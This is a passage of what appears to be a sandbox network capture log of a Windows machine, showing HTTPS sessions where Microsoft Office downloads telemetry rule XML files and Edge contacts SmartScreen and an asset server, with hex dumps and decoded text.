20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:34 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:34 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:34 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: b85626fa-d01e-0017-75bb-37b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113534Z-16547b76f7f64d6whC1DFWf9vn00000002r000000000dfn4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:34 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:34 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:34 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:34 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: fc50ab50-c01e-00a2-4413-372327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113534Z-164f84587bfjxw6fhC1DFWq94400000004dg000000003q2t x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:34 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:34 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:34 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 49f8120e-101e-0046-25ca-3691b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113534Z-164f84587bf9nk94hC1DFWerbg0000000360000000009m54 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:34 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:34 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:34 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 5823ae44-501e-0078-6fcd-3706cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113534Z-16547b76f7f2b5qzhC1DFWeag400000002b000000000d7d8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:34 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	49848	52.159.108.190	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:35 UTC	723	OUT	POST /api/browser/edge/data/bloomfilter/x/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiVExYTzduZ2g3UjE1SVVXVkJUR3ZNdz09IiwgImhhc2giOiJHQ3NRb1Z0T2EvMD0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "636976985063396749.rel.v2" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-17 11:35:35 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-17 11:35:35 UTC	248	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:35 GMT Content-Type: application/octet-stream Content-Length: 57 Connection: close Server: Kestrel ETag: "638343870221005468" Request-Context: appId=cid-v1:46ea1a4d-29cb-4e7e-a1ff-735721467fe3
2024-11-17 11:35:35 UTC	57	IN	Data Raw: 39 00 00 00 0a 00 00 00 6d 75 72 6d 75 72 33 00 0d 00 00 00 e7 00 00 00 0c 00 00 00 2c 4d f0 68 e4 05 e3 5a 14 87 bb 38 10 5c e2 c4 94 3c 26 4c 69 f1 48 99 f4 5b b2 3f 6d Data Ascii: 9murmur3,MhZ8\<&LiH[?m

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.5	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:35 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:35 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 9ba9b484-c01e-00ad-5d7f-37a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113535Z-1866b5c5fbb5hnj5hC1DFW18sc00000004c0000000007e7c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:35 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:35 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:35 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0e1f71f1-101e-0034-76a7-3796ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113535Z-1866b5c5fbbb286shC1DFWx97800000000s0000000003fa6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:35 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:35 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:35 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 574f1a94-c01e-0049-095e-35ac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113535Z-1866b5c5fbbpxkkxhC1DFWhvmc00000004fg000000008xs8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:35 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:35 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:35 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 96c88eee-b01e-005c-317c-364c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113535Z-164f84587bfbvgrghC1DFWbs7w000000048g000000002s6r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:35 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:35 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:35 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:35 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: cb36dd23-401e-0067-3b09-3709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113535Z-16547b76f7fz92z5hC1DFWmdx800000002dg00000000c4v3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:35 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	49849	13.107.246.57	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:36 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 11:35:36 UTC	536	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:36 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: a413ac11-a01e-006a-5a66-3834ac000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241117T113536Z-16547b76f7fd4rc5hC1DFWkzhw00000004dg00000000d4sd Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:36 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.5	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:36 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
